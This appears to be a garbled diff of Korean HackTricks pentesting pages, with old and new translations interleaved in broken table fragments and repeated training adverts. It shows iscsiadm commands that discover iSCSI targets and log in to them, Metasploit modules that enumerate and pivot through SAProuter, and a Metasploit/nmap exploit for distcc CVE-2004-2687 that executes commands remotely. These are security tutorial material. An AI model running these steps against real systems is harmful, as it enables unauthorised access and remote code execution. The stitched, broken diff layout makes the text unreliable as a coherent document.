다음은 [iscsiadm 문서](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)에서의 예시입니다:
|
Example from [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||||
|
|
||||||
먼저 IP 뒤에 있는 대상의 이름을 **발견해야 합니다**.
|
먼저 IP 뒤에 있는 **대상** 이름을 **발견해야** 합니다:
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||||
```
|
```
|
||||||
_참고로, 여기에서는 대상에 도달할 수 있는 인터페이스의 IP와 포트를 보여줍니다. 심지어 사용한 IP와는 다른 내부 IP나 다른 IP를 보여줄 수도 있습니다._
|
_다음은 해당 **대상**에 **도달할 수 있는 인터페이스의 I**P 및 포트를 보여줍니다**. 심지어 사용한 것과 다른 **내부 IP 또는 다른 IP를 보여줄 수 있습니다**._
|
||||||
|
|
||||||
그런 다음 각 줄의 출력 문자열의 두 번째 부분을 잡아서 (첫 번째 줄에서는 _iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_) 로그인을 시도합니다:
|
그런 다음 **각 줄의 인쇄된 문자열의 두 번째 부분을 잡고** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ 첫 번째 줄에서) **로그인 시도**:
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
||||||
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
Logging in to [iface: default, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] (multiple)
|
||||||
|
@ -133,7 +86,7 @@ iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p
|
||||||
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
Logging out of session [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260]
|
||||||
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
Logout of [sid: 6, target: iqn.1992-05.com.emc:fl1001433000190000-3-vnxe, portal: 123.123.123.123,3260] successful.
|
||||||
```
|
```
|
||||||
**더 많은 정보**를 얻기 위해선 `--login`/`--logout` 매개변수를 사용하지 않고도 찾을 수 있습니다.
|
우리는 `--login`/`--logout` 매개변수 없이 **더 많은 정보**를 찾을 수 있습니다.
|
||||||
```bash
|
```bash
|
||||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260
|
||||||
# BEGIN RECORD 2.0-873
|
# BEGIN RECORD 2.0-873
|
||||||
|
@ -209,27 +162,28 @@ node.conn[0].iscsi.IFMarker = No
|
||||||
node.conn[0].iscsi.OFMarker = No
|
node.conn[0].iscsi.OFMarker = No
|
||||||
# END RECORD
|
# END RECORD
|
||||||
```
|
```
|
||||||
**기본 서브넷 열거 프로세스를 자동화하는 스크립트가** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **에서 사용 가능합니다.**
|
**기본 서브넷 열거 프로세스를 자동화하는 스크립트는** [**iscsiadm**](https://github.com/bitvijays/Pentest-Scripts/tree/master/Vulnerability\_Analysis/isciadm) **에서 사용할 수 있습니다.**
|
||||||
|
|
||||||
## **Shodan**
|
## **Shodan**
|
||||||
|
|
||||||
* `port:3260 AuthMethod`
|
* `port:3260 AuthMethod`
|
||||||
|
|
||||||
## **참고 자료**
|
## **References**
|
||||||
|
|
||||||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||||
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
* [https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요</strong></a><strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 저장소에 PR을 제출하세요.**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,61 +1,64 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>을 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
```text
|
```text
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
3299/tcp open saprouter?
|
3299/tcp open saprouter?
|
||||||
```
|
```
|
||||||
## Metasploit을 사용한 SAProuter 침투 이해하기
|
This is a summary of the post from [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||||
|
|
||||||
SAProuter는 주로 인터넷과 내부 SAP 네트워크 간의 액세스를 제어하기 위해 SAP 시스템에 대한 역방향 프록시로 작동합니다. 조직 방화벽을 통해 TCP 포트 3299를 허용하여 인터넷에 노출되는 경우가 많습니다. 이러한 설정으로 인해 SAProuter는 고가치 내부 네트워크로의 게이트웨이로 작용할 수 있기 때문에 펜테스팅의 매력적인 대상이 됩니다.
|
## Understanding SAProuter Penetration with Metasploit
|
||||||
|
|
||||||
**스캐닝 및 정보 수집**
|
SAProuter는 SAP 시스템을 위한 리버스 프록시 역할을 하며, 주로 인터넷과 내부 SAP 네트워크 간의 접근을 제어합니다. 일반적으로 TCP 포트 3299를 통해 조직의 방화벽을 통과하여 인터넷에 노출됩니다. 이 설정은 SAProuter를 고가치 내부 네트워크에 대한 게이트웨이 역할을 할 수 있기 때문에 침투 테스트의 매력적인 목표로 만듭니다.
|
||||||
|
|
||||||
먼저, **sap_service_discovery** 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행 중인지 여부를 식별하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다.
|
**Scanning and Information Gathering**
|
||||||
|
|
||||||
|
초기에는 **sap_service_discovery** 모듈을 사용하여 주어진 IP에서 SAP 라우터가 실행되고 있는지 식별하기 위해 스캔을 수행합니다. 이 단계는 SAP 라우터의 존재와 열린 포트를 확인하는 데 중요합니다.
|
||||||
```text
|
```text
|
||||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||||
msf auxiliary(sap_service_discovery) > run
|
msf auxiliary(sap_service_discovery) > run
|
||||||
```
|
```
|
||||||
다음으로, SAP 라우터의 구성에 대한 추가 조사가 수행됩니다. 이는 내부 네트워크 세부 정보를 확인할 수 있는 가능성이 있는 **sap_router_info_request** 모듈을 사용하여 이루어집니다.
|
발견 후, **sap_router_info_request** 모듈을 사용하여 SAP 라우터의 구성에 대한 추가 조사가 수행되어 내부 네트워크 세부정보를 잠재적으로 드러냅니다.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||||
msf auxiliary(sap_router_info_request) > run
|
msf auxiliary(sap_router_info_request) > run
|
||||||
```
|
```
|
||||||
**내부 서비스 열거**
|
**내부 서비스 열거하기**
|
||||||
|
|
||||||
획득한 내부 네트워크 정보를 바탕으로, **sap_router_portscanner** 모듈을 사용하여 SAProuter를 통해 내부 호스트와 서비스를 조사하여 내부 네트워크와 서비스 구성에 대한 깊은 이해를 얻을 수 있습니다.
|
획득한 내부 네트워크 통찰력을 바탕으로, **sap_router_portscanner** 모듈은 SAProuter를 통해 내부 호스트와 서비스를 탐색하여 내부 네트워크 및 서비스 구성에 대한 더 깊은 이해를 제공합니다.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||||
```
|
```
|
||||||
이 모듈은 특정 SAP 인스턴스와 포트를 대상으로 하는 유연성으로 인해 내부 네트워크를 자세히 탐색하는 데 효과적인 도구입니다.
|
이 모듈은 특정 SAP 인스턴스와 포트를 타겟팅하는 유연성 덕분에 내부 네트워크 탐색에 효과적인 도구입니다.
|
||||||
|
|
||||||
**고급 열거 및 ACL 매핑**
|
**고급 열거 및 ACL 매핑**
|
||||||
|
|
||||||
추가 스캐닝을 통해 SAProuter에서 어떻게 액세스 제어 목록(ACL)이 구성되어 있는지 알 수 있으며, 어떤 연결이 허용되거나 차단되는지에 대한 정보를 상세히 파악할 수 있습니다. 이 정보는 보안 정책과 잠재적인 취약점을 이해하는 데 중요합니다.
|
추가 스캔을 통해 SAProuter에서 액세스 제어 목록(ACL)이 어떻게 구성되어 있는지, 어떤 연결이 허용되거나 차단되는지를 확인할 수 있습니다. 이 정보는 보안 정책과 잠재적 취약점을 이해하는 데 중요합니다.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||||
```
|
```
|
||||||
**내부 호스트의 블라인드 열거**
|
**내부 호스트의 블라인드 열거**
|
||||||
|
|
||||||
SAProuter로부터 직접적인 정보가 제한된 경우, 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름을 추측하고 확인하여 직접적인 IP 주소 없이 잠재적인 대상을 밝혀냅니다.
|
SAProuter에서 직접 정보가 제한된 시나리오에서는 블라인드 열거와 같은 기술을 적용할 수 있습니다. 이 접근 방식은 내부 호스트 이름의 존재를 추측하고 검증하여 직접 IP 주소 없이 잠재적인 대상을 드러냅니다.
|
||||||
|
|
||||||
**펜트스팅을 위한 정보 활용**
|
**침투 테스트를 위한 정보 활용**
|
||||||
|
|
||||||
네트워크를 매핑하고 접근 가능한 서비스를 식별한 후, 펜트스터는 Metasploit의 프록시 기능을 활용하여 SAProuter를 통해 내부 SAP 서비스의 추가적인 탐색과 악용을 위한 피벗을 수행할 수 있습니다.
|
네트워크를 매핑하고 접근 가능한 서비스를 식별한 후, 침투 테스트자는 Metasploit의 프록시 기능을 활용하여 SAProuter를 통해 내부 SAP 서비스의 추가 탐색 및 악용을 위해 피벗할 수 있습니다.
|
||||||
```text
|
```text
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||||
|
@ -63,12 +66,12 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
||||||
```
|
```
|
||||||
**결론**
|
**결론**
|
||||||
|
|
||||||
이 접근 방식은 안전한 SAProuter 구성의 중요성을 강조하며, 대상화된 침투 테스트를 통해 내부 네트워크에 접근할 수 있는 잠재력을 강조합니다. SAP 라우터를 적절하게 보호하고 네트워크 보안 아키텍처에서의 역할을 이해하는 것은 무단 접근으로부터 보호하기 위해 중요합니다.
|
이 접근 방식은 안전한 SAProuter 구성의 중요성을 강조하고, 목표 지향적인 침투 테스트를 통해 내부 네트워크에 접근할 수 있는 가능성을 부각시킵니다. SAP 라우터를 적절히 보호하고 네트워크 보안 아키텍처에서의 역할을 이해하는 것은 무단 접근으로부터 보호하는 데 중요합니다.
|
||||||
|
|
||||||
Metasploit 모듈 및 사용법에 대한 자세한 정보는 [Rapid7의 데이터베이스](http://www.rapid7.com/db)를 참조하십시오.
|
Metasploit 모듈 및 사용법에 대한 자세한 정보는 [Rapid7의 데이터베이스](http://www.rapid7.com/db)를 방문하세요.
|
||||||
|
|
||||||
|
|
||||||
## **참고 자료**
|
## **참고문헌**
|
||||||
|
|
||||||
* [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
* [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||||
|
|
||||||
|
@ -78,16 +81,17 @@ Metasploit 모듈 및 사용법에 대한 자세한 정보는 [Rapid7의 데이
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
|
||||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,22 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# 기본 정보
|
# 기본 정보
|
||||||
|
|
||||||
**Distcc**는 **네트워크**의 다른 컴퓨터의 **유휴 처리 능력**을 활용하여 **컴파일 프로세스**를 개선하는 도구입니다. **Distcc**가 기계에 설정되면 이 기계는 **컴파일 작업**을 다른 시스템으로 분산할 수 있습니다. 수신 시스템은 **distccd 데몬**을 실행하고 보낸 코드를 처리할 수 있는 **호환되는 컴파일러**가 설치되어 있어야 합니다.
|
**Distcc**는 네트워크의 다른 컴퓨터의 **유휴 처리 능력**을 활용하여 **컴파일 프로세스**를 향상시키는 도구입니다. **distcc**가 머신에 설정되면, 이 머신은 다른 시스템에 **컴파일 작업**을 분배할 수 있습니다. 이 수신 시스템은 **distccd 데몬**이 실행 중이어야 하며, 전송된 코드를 처리할 수 있는 **호환 가능한 컴파일러**가 설치되어 있어야 합니다.
|
||||||
|
|
||||||
**기본 포트:** 3632
|
**기본 포트:** 3632
|
||||||
```
|
```
|
||||||
|
@ -24,33 +25,34 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
# Exploitation
|
# Exploitation
|
||||||
|
|
||||||
임의 코드를 실행하기 위해 **CVE-2004-2687**에 취약한지 확인하세요:
|
**CVE-2004-2687**에 취약한지 확인하여 임의 코드를 실행합니다:
|
||||||
```bash
|
```bash
|
||||||
msf5 > use exploit/unix/misc/distcc_exec
|
msf5 > use exploit/unix/misc/distcc_exec
|
||||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||||
```
|
```
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
_이 서비스를 Shodan이 감지하지는 않을 것 같습니다._
|
_이 서비스는 shodan이 탐지하지 않는 것 같습니다._
|
||||||
|
|
||||||
# 자원
|
# Resources
|
||||||
|
|
||||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||||
|
|
||||||
**Álex B (@r1p)**가 작성한 게시물
|
Post created by **Álex B (@r1p)**
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>제로부터 AWS 해킹을 전문가로! </strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>으로 배우세요!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks를 지원하는 다른 방법:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
|
||||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
|
||||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,122 +1,50 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
